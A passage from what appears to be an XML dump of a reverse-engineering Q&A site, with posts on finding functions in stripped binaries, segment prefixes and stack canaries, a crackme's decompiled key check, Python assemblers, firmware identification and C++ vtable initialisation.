are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;some of the functions defined in a binary might never be called.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;some of the &lt;code&gt;call&lt;/code&gt; has been optimised as &lt;code&gt;jump&lt;/code&gt; by compiler (thinking of tail recursive call)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As for the end address, things become more tricky because multiple &lt;code&gt;ret&lt;/code&gt; could exist in one single function...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am thinking that I might conservatively consider the range between any nearest &lt;strong&gt;function begin addresses&lt;/strong&gt;, as one function..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right? Is there any better solution..?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-07-11T18:30:28.383" LastActivityDate="2020-05-27T07:19:56.110" Title="How to identify functions in a stripped binary on x86 32bit?" Tags="|disassembly|assembly|binary-analysis|static-analysis|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5831" PostTypeId="2" ParentId="5830" CreationDate="2014-07-10T23:33:03.270" Score="8" Body="&lt;p&gt;Reversing the call graph or the control flow graph of a binary isn't for the faint of heart, and is still a hot topic for researchers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your approach looks promising; but, unfortunately for you, you'll stumble upon lots of barriers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One, following &lt;code&gt;call&lt;/code&gt; instructions is most likely to give great results, if analyzing statically the binary file. The only problem is that, sometimes, you'll have indirect calls/jumps. Meaning, the operand will be a register containing the target address. This will occur very often if the target binary file original source code was written in &lt;code&gt;C++&lt;/code&gt; (virtual functions) for example. One way to obtain the target address in this case is to emulate or run the chunk of code that computes it. Another is to assess its value heuristically (heuristics are hell). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two, you can run your binary file with multiple input data sets and dynamically extract the call graphs (this can be performed through instrumentation). You can then cross reference all the obtained call graphs ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three, I would recommend a &lt;a href=&quot;https://en.wikipedia.org/wiki/Basic_block&quot;&gt;basic-block&lt;/a&gt; centric approach rather than a functional one. Mainly, because a function is a basic-block in itself and you'll have more luck finding functions this way than trying to match patterns which can change from one compiler to another, or from one version of a compiler to another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following publications are extremely interesting : &lt;a href=&quot;http://www.cse.scu.edu/~atkinson/papers/apsec-04a.pdf&quot;&gt;[1]&lt;/a&gt;, &lt;a href=&quot;http://www.cse.scu.edu/~atkinson/papers/serp-02.pdf&quot;&gt;[2]&lt;/a&gt;, &lt;a href=&quot;http://ftp.cs.wisc.edu/pub/paradyn/papers/Harris05WBIA.pdf&quot;&gt;[3]&lt;/a&gt;, and also I would encourage you to check &lt;code&gt;DynInst&lt;/code&gt; and &lt;code&gt;callgrind&lt;/code&gt; if you want to learn more about the subject.    &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-07-11T08:15:07.237" LastActivityDate="2014-07-11T08:15:07.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5832" PostTypeId="1" CreationDate="2014-07-11T00:46:55.607" Score="9" ViewCount="946" Body="&lt;p&gt;In looking at some assembly, I have come across a few instructions using segment prefixes. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;address&amp;gt;: ....  mov eax,DWORD PTR gs:0x20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the basics of memory segments, but how could I get the 'absolute' memory address (particularly in GDB) of the data being accessed here? For example, I may want to break on further access, or examine the memory in that area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I know how to get the value of &lt;code&gt;$gs&lt;/code&gt;, but not sure how to use that information with the given instruction to get the actual address of memory. And yes, this is under Linux.&lt;/p&gt;&#xA;" OwnerUserId="8038" LastEditorUserId="53" LastEditDate="2014-07-11T18:28:38.747" LastActivityDate="2014-07-11T18:28:38.747" Title="Understanding segment prefixes in assembly for Linux" Tags="|disassembly|linux|gdb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5834" PostTypeId="1" AcceptedAnswerId="5835" CreationDate="2014-07-11T16:33:41.737" Score="2" ViewCount="180" Body="&lt;p&gt;I compiled the following program using gcc version 4.6.3 on Ubuntu 32bit with the command &lt;code&gt;gcc -ggdb -o test test.c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;void test(int a, int b, int c, int d)&#xA;{&#xA;    int flag;&#xA;    char buffer[10];&lt;br /&gt;&#xA;    flag = 31337;&#xA;    buffer[0] = 'a';&#xA;    a = 5;&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;    test(1, 2, 3, 4);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly of the above test function in gdb is :-&#xA;&lt;pre&gt;&lt;code&gt;&#xA;   0x08048404 &amp;lt;+0&gt;:     push   ebp&#xA;   0x08048405 &amp;lt;+1&gt;:     mov    ebp,esp&#xA;   0x08048407 &amp;lt;+3&gt;:     sub    esp,0x28&#xA;   0x0804840a &amp;lt;+6&gt;:     mov    eax,gs:0x14&#xA;   0x08048410 &amp;lt;+12&gt;:    mov    DWORD PTR [ebp-0xc],eax&#xA;   0x08048413 &amp;lt;+15&gt;:    xor    eax,eax&#xA;   0x08048415 &amp;lt;+17&gt;:    mov    DWORD PTR [ebp-0x20],0x7a69&#xA;   0x0804841c &amp;lt;+24&gt;:    mov    BYTE PTR [ebp-0x16],0x41&#xA;=&gt; 0x08048420 &amp;lt;+28&gt;:    mov    DWORD PTR [ebp-0x1c],0x5&#xA;   0x08048427 &amp;lt;+35&gt;:    mov    eax,DWORD PTR [ebp-0xc]&#xA;   0x0804842a &amp;lt;+38&gt;:    xor    eax,DWORD PTR gs:0x14&#xA;   0x08048431 &amp;lt;+45&gt;:    je     0x8048438 &#xA;   0x08048433 &amp;lt;+47&gt;:    call   0x8048320 &amp;lt;__stack_chk_fail@plt&gt;&#xA;   0x08048438 &amp;lt;+52&gt;:    leave&#xA;   0x08048439 &amp;lt;+53&gt;:    ret&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As much as I know, the assembly instruction after arrow corresponds to the C instruction &lt;code&gt;a = 5;&lt;/code&gt; in test function. So the address &lt;code&gt;[ebp-0x1c]&lt;/code&gt; should represent the address of variable &lt;code&gt;a&lt;/code&gt;.&lt;br /&gt;&#xA;But the address that &lt;code&gt;[ebp-0x1c]&lt;/code&gt; represents is &lt;code&gt;0xbffff2bc&lt;/code&gt; and the address of variable &lt;code&gt;a&lt;/code&gt; is &lt;code&gt;0xbffff2e0&lt;/code&gt;.&lt;br /&gt;&#xA;I don't understand how both addresses can be different. Is this some kind of optimization done by gcc?&lt;br /&gt;&lt;/p&gt;&#xA;" OwnerUserId="8046" LastActivityDate="2014-07-11T21:16:36.733" Title="gcc storing value of a variable at a different location" Tags="|disassembly|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5835" PostTypeId="2" ParentId="5834" CreationDate="2014-07-11T16:53:31.473" Score="3" Body="&lt;p&gt;Since you're not reading &lt;code&gt;a&lt;/code&gt; anywhere, it seems gcc doesn't even bother reading it from the stack, and creates a local variable for it. Try replacing the &lt;code&gt;a=5&lt;/code&gt; with &lt;code&gt;a+=5&lt;/code&gt;, so the compiler has to read the variable, and the instruction will probably be changed to access [ebp+8], which is where the parameter should be stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this behaviour &lt;em&gt;might&lt;/em&gt; be that gcc tries to make the 32 bit code generation more similar to the 64 bit version, where parameters are passed in registers, and need to be saved &lt;em&gt;below&lt;/em&gt; the stack pointer if the compiler needs the register, or a pointer to the parameter needs to be created. Doing the same in 32 bit - at least sometimes - might help the developers share code between the 32- and 64 bit optimizers.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-07-11T17:02:35.623" LastActivityDate="2014-07-11T17:02:35.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5836" PostTypeId="2" ParentId="5832" CreationDate="2014-07-11T17:18:25.450" Score="10" Body="&lt;p&gt;On Linux, in protected mode, the segment registers aren't standard &quot;segments&quot; anymore, instead, they're called selectors, and include information if the segment is readable/writable/executable. The real address they're pointing to is &quot;hidden&quot; in a table in the kernel and the segment register is used as an index into that table, but the physical address shouldn't matter to you much anyway, since your application deals with virtual memory only, and the virtual address that gs maps to isn't even accessible in your &quot;normal&quot;, ds/ss-referenced, virtual address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux uses the gs register to make some per-cpu-information available to the process. The special offset 0x20, which you're using in your example, is initialized to some random value, which the compiler reads whenever it enters a function and writes on the stack, and checks when the functions terminates, to detect buffer overflows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more about the overflow protection on &lt;a href=&quot;http://en.wikipedia.org/wiki/Buffer_overflow_protection&quot;&gt;wikipedia&lt;/a&gt;, and more about the percpu structure in &lt;a href=&quot;http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/arch/x86/include/asm/stackprotector.h&quot;&gt;the linux kernel source&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-07-11T17:18:25.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5838" PostTypeId="1" CreationDate="2014-07-12T22:06:29.407" Score="1" ViewCount="325" Body="&lt;p&gt;So basically I am trying to re-implement a memory protection technique, with the description like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A 256M segment is reserved for application code and &lt;/li&gt;&#xA;&lt;li&gt;A 512M segment is reserved for some special data (can't be modified during runtime)&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;%fs&lt;/code&gt; register is used to access the 512M memory of special data.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am thinking to leverage some segmentation based protection on 32bit x86, however, I am trapped in the first step, &lt;strong&gt;how to reserve some memory for the special data mentioned above ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what i am trying to do is very similar with Google's Native Client, I &#xA;quote some thing for its &lt;a href=&quot;http://en.wikipedia.org/wiki/Google_Native_Client&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The x86-32 implementation of Native Client is notable for its novel &#xA;      sandboxing method which makes use of the x86 architecture's rarely &#xA;      used segmentation facility.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Native Client sets up x86 segments to restrict the memory range &#xA;      that the sandboxed code can access.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help on this issue ?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2014-07-13T13:57:26.047" LastActivityDate="2014-07-17T20:36:41.780" Title="How to reserve certain amount of memory and using segment register to access?" Tags="|x86|memory|protection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5839" PostTypeId="1" AcceptedAnswerId="5840" CreationDate="2014-07-13T01:42:04.520" Score="2" ViewCount="3142" Body="&lt;p&gt;I have wanted to get into the art of reverse engineering for quite some time now, so I took a look at a few online lessons (such as opensecuritytraining.info) and also got my hands on IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, since this is a complex topic, I was overwhelmed by registers, pointers, instructions et cetera. I know assembler and C fairly well, it's just (like I said earlier) a topic where you have to learn much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to my actual question: I have downloaded a &quot;CrackMe&quot;-Program and started debugging it. Basically the objective is to find a key which you then have to enter into a Textbox in the program. I found the key checking function fairly easily and identified some logic, but I can't wrap my head around how the program actually compares the string. My C skills are much greater than my Assembler skills, so I decided to get some Pseudocode printed. The problem is that the Pseudocode is pretty messy (I'm guessing that's because of compiler optimizations) and I basically can't understand what this piece of code is supposed to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code (sorry it's a bit long):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall TSDIAppForm_Button1Click&amp;lt;eax&amp;gt;(int a1&amp;lt;eax&amp;gt;, int a2&amp;lt;ebx&amp;gt;, int a3&amp;lt;edi&amp;gt;, int a4&amp;lt;esi&amp;gt;)&#xA;{&#xA;  int v4; // ebx@1&#xA;  int v5; // esi@1&#xA;  int v6; // eax@1&#xA;  signed int v7; // eax@3&#xA;  signed int v8; // edx@3&#xA;  int v9; // ebx@3&#xA;  int v11; // edx@12&#xA;  int v12; // [sp-24h] [bp-34h]@1&#xA;  int (*v13)(); // [sp-20h] [bp-30h]@1&#xA;  int *v14; // [sp-1Ch] [bp-2Ch]@1&#xA;  int v15; // [sp-18h] [bp-28h]@1&#xA;  int (*v16)(); // [sp-14h] [bp-24h]@1&#xA;  int *v17; // [sp-10h] [bp-20h]@1&#xA;  int v18; // [sp-Ch] [bp-1Ch]@1&#xA;  int v19; // [sp-8h] [bp-18h]@1&#xA;  int v20; // [sp-4h] [bp-14h]@1&#xA;  int v21; // [sp+0h] [bp-10h]@1&#xA;  int v22; // [sp+4h] [bp-Ch]@1&#xA;  int v23; // [sp+8h] [bp-8h]@2&#xA;  void (__fastcall *v24)(int); // [sp+Ch] [bp-4h]@7&#xA;  int v25; // [sp+10h] [bp+0h]@1&#xA;&#xA;  v22 = 0;&#xA;  v21 = 0;&#xA;  v20 = a2;&#xA;  v19 = a4;&#xA;  v18 = a3;&#xA;  v5 = a1;&#xA;  v17 = &amp;amp;v25;&#xA;  v16 = loc_45C6FD;&#xA;  v15 = *MK_FP(__FS__, 0);&#xA;  *MK_FP(__FS__, 0) = &amp;amp;v15;&#xA;  JUMPOUT(Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872)), 0xFu, *(unsigned int *)&quot;j&quot;);&#xA;  v6 = Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872));&#xA;  System____linkproc___DynArraySetLength(v6);&#xA;  System____linkproc___DynArraySetLength(664);&#xA;  v14 = &amp;amp;v25;&#xA;  v13 = loc_45C699;&#xA;  v12 = *MK_FP(__FS__, 0);&#xA;  *MK_FP(__FS__, 0) = &amp;amp;v12;&#xA;  v4 = 0;&#xA;  do&#xA;  {&#xA;    Controls__TControl__GetText(*(_DWORD *)(v5 + 872), &amp;amp;v21, v12);&#xA;    *(_DWORD *)(v23 + 4 * v4) = *(_BYTE *)(v21 + v4 - 1);&#xA;    ++v4;&#xA;  }&#xA;  while ( v4 != 16 );&#xA;  v8 = 1;&#xA;  v9 = 0;&#xA;  v7 = 4585384;&#xA;  do&#xA;  {&#xA;    if ( v8 == 16 )&#xA;      v8 = 1;&#xA;    *(_BYTE *)(v22 + v9++) = *(_BYTE *)v7++ ^ *(_BYTE *)(v23 + 4 * v8++);&#xA;  }&#xA;  while ( v9 != 665 );&#xA;  v24 = (void (__fastcall *)(int))v22;&#xA;&#xA;  // I know the key to success lies here, but I can't figure out what this if is supposed to do&#xA;  if ( *(_BYTE *)v22 != 96 || *(_BYTE *)(v22 + 4) != 208 || *(_BYTE *)(v22 + 9) )&#xA;    MessageBoxA_0(0, &quot;Invalid Key&quot;, &quot;Error&quot;, 0);&#xA;  else&#xA;    v24(v22);&#xA;  *MK_FP(__FS__, 0) = v12;&#xA;  v11 = v15;&#xA;  *MK_FP(__FS__, 0) = v15;&#xA;  System____linkproc___LStrClr(&amp;amp;v21, v11, 4572932);&#xA;  System____linkproc___DynArrayClear(&amp;amp;v22, off_45C568);&#xA;  return System____linkproc___DynArrayClear(&amp;amp;v23, off_45C548);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate it if someone could give me advice on how to &quot;deobfuscate&quot; this piece of code. Are there any plugins available to do this? Is there a special technique that I can use to figure it out? Would it be better to look at the Assembler code instead of the Pseudocode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I especially wonder where these weird constants (like 872 for example) come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8050" LastEditorUserId="1413" LastEditDate="2014-07-13T03:42:56.063" LastActivityDate="2014-07-13T03:42:56.063" Title="Deobfuscating IDA Pseudocode" Tags="|ida|decompilation|deobfuscation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5840" PostTypeId="2" ParentId="5839" CreationDate="2014-07-13T03:24:52.777" Score="3" Body="&lt;p&gt;IDA Pro is no magic tool to automatically decompile binaries to their source code. The decompiler output should not be relied every time (as compiling leads to loss of information) although IDA boasts of the finest decompiler available. Instead focus on the disassembly listing. For specific parts, you can use the decompiler output as your reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deobfuscation is a multi-step process. First try to understand the usages of &lt;em&gt;variables&lt;/em&gt;, &lt;em&gt;structures&lt;/em&gt;, etc and then give them a more easy-to-understand names reflecting their purpose. In many cases you can understand the variables purposes by just noting how it is used in function calls. For example &lt;code&gt;Vcl.Controls.TControl.GetTextLen&lt;/code&gt; returns the length of the control's text. That means among the parameters passed, one must be the a pointer to the &lt;code&gt;TControl&lt;/code&gt;. You can use this information to rename variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of &lt;code&gt;VCL&lt;/code&gt; binaries, &lt;em&gt;&lt;a href=&quot;http://kpnc.org/idr32/en/&quot; rel=&quot;nofollow&quot;&gt;Interactive Delphi Reconstructor&lt;/a&gt;&lt;/em&gt;, will give you more easy-to-understand disassembly, as it is geared for that purpose. IDR also has a somewhat very limited decompilation capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better understanding IDA Pro and its myriad of features, I would recommend to go through these two books &lt;em&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272898&quot; rel=&quot;nofollow&quot;&gt;The IDA Pro Book&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/159749237X&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering Code with IDA Pro&lt;/a&gt;&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-13T03:30:49.650" LastActivityDate="2014-07-13T03:30:49.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5841" PostTypeId="1" AcceptedAnswerId="5857" CreationDate="2014-07-13T08:27:18.583" Score="6" ViewCount="11326" Body="&lt;p&gt;It would be very useful to have a pure Python library that could assemble x86, x64, and ARM instructions. Do you have a recommendation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind if they are not pure Python, but that'd be preferred.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="1654" LastEditDate="2019-05-03T17:31:09.897" LastActivityDate="2020-11-11T10:12:08.883" Title="Python library for assembling x86, x64 and ARM exploits" Tags="|disassembly|assembly|python|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5842" PostTypeId="2" ParentId="5841" CreationDate="2014-07-13T08:36:27.493" Score="6" Body="&lt;p&gt;Some Python assembler libraries:&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/grant-olson/pyasm&quot; rel=&quot;noreferrer&quot;&gt;Pyasm - Python x86 Assembler&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Pyasm is a full-featured dynamic assembler written entirely in Python. By dynamic, it means that it can be used to generate and execute machine code in python at runtime without requiring the generation of object files and linkage. It essentially allow 'inline' assembly in Python modules on x86 platforms.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/jbremer/pyasm2&quot; rel=&quot;noreferrer&quot;&gt;pyasm2&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An easy and powerful assembler engine in Python. Although it's called pyasm2, this is not per se a successor of Pyasm or pyASM. pyasm2 aims to be as flexible as possible, it will support x86, SSE and SSE2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/sipefree/d00ks&quot; rel=&quot;noreferrer&quot;&gt;d00ks&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;d00ks is an ARM assembler and simulator.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/Falaina/AsmJit-Python&quot; rel=&quot;noreferrer&quot;&gt;AsmJit-Python&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://github.com/kobalicek/asmjit&quot; rel=&quot;noreferrer&quot;&gt;AsmJit&lt;/a&gt;&lt;/em&gt; is a complete JIT and remote assembler for C++ language. It can generate native code for x86 and x64 architectures and supports the whole x86/x64 instruction set - from legacy MMX to the newest AVX2. It has a type-safe API that allows C++ compiler to do a semantic checks at compile-time even before the assembled code is generated or run.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-05-03T17:31:19.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5843" PostTypeId="1" CreationDate="2014-07-13T13:27:18.720" Score="1" ViewCount="410" Body="&lt;p&gt;this is not going to be a specific question but here goes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive just started reading about reverse engineering for the 3ds. Is it possible to open the 3ds up and connect a probe somewhere on the chip and dump the RAM contents? Im looking for data on game mechanics etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im new to this so I could have wrongly understood the process. If anyone could perhaps explain the process to me for a general system not a 3ds (if that is easier), what equipment I would need and what exactly I would need to do to dump the ram contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if there are any resources for beginners that you recommend can you post them here please?&#xA;I should say that I program in c and I am looking to learn reverse engineering as a hobby. &lt;/p&gt;&#xA;" OwnerUserId="8054" LastActivityDate="2014-07-13T13:50:52.880" Title="beginner hardware sniffing question" Tags="|dumping|sniffing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5845" PostTypeId="2" ParentId="4821" CreationDate="2014-07-13T14:06:51.943" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can we use dynamic analysis (or just emulator) to achieve 100% code coverage?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, if I was right, it equals to Turing Halting problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;emulator based disassemble approach&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am afraid this may not be a very new idea, and code coverage is a big issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is always possible that you find a different angle and make some contributions in related area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting paper in last year's tier-one security conference CCS 2013 &lt;a href=&quot;https://www.utdallas.edu/~zxl111930/file/CCS13.pdf&quot; rel=&quot;nofollow&quot;&gt;Obfuscation Resilient Binary Code Reuse through&lt;/a&gt; even push related ideas future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It leverages an emulator to disassemble code, dynamic taint analysis to lift concrete value into symbols, and somehow re-use the disassembled asm code (embedded in C code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish it could be helpful&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2014-10-14T20:30:05.860" LastActivityDate="2014-10-14T20:30:05.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5846" PostTypeId="1" AcceptedAnswerId="5848" CreationDate="2014-07-14T02:28:15.467" Score="1" ViewCount="690" Body="&lt;p&gt;While poking around at the headers and such from my new Simple.TV DVR, I found it downloading a file named rssflash_1035_201311211539.update00.bin. I ran binwalk to look for anything obvious, but it came up blank. I suspect it might be encrypted (?).  Any thoughts about what I could do next to get more information about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The download link to the file, in case anyone else is interested: &#xA;[redacted]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="8057" LastEditDate="2014-07-14T14:07:12.520" LastActivityDate="2014-07-14T14:07:12.520" Title="I found the .bin firmware for my Simple.TV device. Binwalk comes up blank. Anything I can do?" Tags="|firmware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5847" PostTypeId="1" AcceptedAnswerId="5852" CreationDate="2014-07-14T02:35:37.890" Score="-1" ViewCount="103" Body="&lt;p&gt;I am somewhat interested in learning how to RE but right now am learning C, and was wondering if anyone could give me a link to a good tutorial on how to use &lt;code&gt;gdb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in reference to registers...if &lt;code&gt;rax&lt;/code&gt; is 64-bit and &lt;code&gt;eax&lt;/code&gt; is 32, then &lt;code&gt;ax&lt;/code&gt; must be 16, right? What's 8bit...or was 8bit ASM not a thing?&lt;/p&gt;&#xA;" OwnerUserId="8058" LastEditorUserId="8058" LastEditDate="2014-07-14T02:41:14.980" LastActivityDate="2014-07-14T14:00:50.970" Title="Learning disASM, other things" Tags="|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5848" PostTypeId="2" ParentId="5846" CreationDate="2014-07-14T03:06:55.173" Score="5" Body="&lt;p&gt;If you look at the file with a hex editor (or even a text editor), you can see that the first four bytes of the file are &lt;code&gt;hsqs&lt;/code&gt; (&lt;code&gt;0x68&lt;/code&gt; &lt;code&gt;0x73&lt;/code&gt; &lt;code&gt;0x71&lt;/code&gt; &lt;code&gt;0x73&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then &lt;a href=&quot;http://lmgtfy.com/?q=%22hsqs%22&quot;&gt;Google for &lt;code&gt;hsqs&lt;/code&gt;&lt;/a&gt;, the first link explains that it's the beginning of a &lt;a href=&quot;http://en.wikipedia.org/wiki/SquashFS&quot;&gt;SquashFS&lt;/a&gt; image.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-14T03:06:55.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5849" PostTypeId="1" AcceptedAnswerId="5854" CreationDate="2014-07-14T05:55:06.107" Score="0" ViewCount="529" Body="&lt;p&gt;I was reversing some C++ code and encountered following function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_106C0A0 proc near&#xA;&#xA;var_10= dword ptr -10h&#xA;var_C= dword ptr -0Ch&#xA;var_4= dword ptr -4&#xA;&#xA;push    0FFFFFFFFh&#xA;push    offset SEH_106C0A0&#xA;mov     eax, large fs:0&#xA;push    eax&#xA;mov     large fs:0, esp&#xA;push    ecx&#xA;push    esi&#xA;mov     esi, ecx&#xA;push    edi&#xA;lea     edi, [esi+4]&#xA;push    30h&#xA;mov     ecx, edi&#xA;mov     [esp+1Ch+var_10], esi&#xA;mov     dword ptr [esi], offset off_12C0680&#xA;call    struc_13_ctor&#xA;mov     dword ptr [edi], offset off_12C057C ; another vtable init ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function passes this pointer of some object (struc_13), which is esi+4, to the struc_13_ctor. Inside the struc_13_ctor function, it initializes the vtable pointer and other member variables. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; int __thiscall struc_13_ctor(struc_13 *this, __int16 a2)&#xA;struc_13_ctor proc near&#xA;&#xA;arg_0= word ptr  4&#xA;&#xA;mov     dx, [esp+arg_0]&#xA;mov     eax, ecx&#xA;xor     ecx, ecx&#xA;mov     dword ptr [eax], offset struc_13_vtable&#xA;mov     [eax+4], ecx&#xA;mov     [eax+8], ecx&#xA;mov     [eax+0Ch], dx&#xA;mov     [eax+0Eh], cx&#xA;mov     [eax+14h], ecx&#xA;mov     [eax+10h], ecx&#xA;retn    4&#xA;struc_13_ctor endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However after returning from struc_13_ctor, it overwrites the vtable pointer with the new value, which is off_12C057C in this case. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    struc_13_ctor&#xA;mov     dword ptr [edi], offset off_12C057C ; another vtable init ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have seen this kind of behaviors a lot while looking at ctor functions, but never understood why this happens. &lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2014-07-14T19:00:16.687" Title="Questions about reversing object oriented code(initializing vtables in ctors)" Tags="|c++|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
